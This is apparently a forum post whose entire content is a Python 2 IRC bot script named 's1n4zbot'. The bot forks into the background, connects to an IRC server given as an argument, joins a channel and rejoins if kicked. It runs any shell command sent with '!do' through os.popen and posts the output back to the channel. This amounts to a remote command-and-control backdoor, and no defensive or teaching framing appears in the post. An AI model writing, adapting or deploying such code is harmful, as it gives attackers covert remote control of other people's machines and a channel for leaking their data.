It looks like you're new here. If you want to get involved, click one of these buttons!
#!/usr/bin/python
import os, random, socket, sys
def usage() :
print 'Usage: %s [Server address] [#Channel]' % sys.argv[0]
exit()
def ForK() :
pid = os.fork()
if pid != 0 :
exit()
def main() :
num = ''
for i in range(0, 3) :
rand = random.randint(0, 10)
num += str(rand)
NICK = 'SH[' + num + ']'
USER = 's1n4zbot'
SERV = sys.argv[1]
CHAN = sys.argv[2]
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try :
sock.connect((SERV, 6667))
except :
exit()
sock.send('NICK %s\r\n' % NICK)
sock.send('USER %s %s %s :Bot\r\n' % (USER, USER, SERV))
while True :
data = sock.recv(1024)
if 'End of /MOTD command.' in data :
sock.send('JOIN %s\r\n' % CHAN)
break
while True :
data = sock.recv(1024)
args = data.replace(':', '').split()
if len(args) >= 1 and args[0] == 'PING' :
sock.send('PONG %s\r\n' % data.split()[1])
continue
if len(args) >= 3 and args[1] == 'KICK' and args[3] == NICK :
sock.send('JOIN %s\r\n' % CHAN)
continue
if len(args) >= 5 and args[3] == '!do' :
command = data[data.find('!do')+4:-2]
results = os.popen(command).read().splitlines()
for result in results :
sock.send('PRIVMSG %s :%s\r\n' % (CHAN, result))
continue
if len(args) >= 4 and args[3] == '!quit' :
QMSG = data[data.find('!quit')+6:-2]
sock.send('QUIT :%s\r\n' % QMSG)
exit()
if len(sys.argv) == 3 :
ForK()
main()
else :
usage()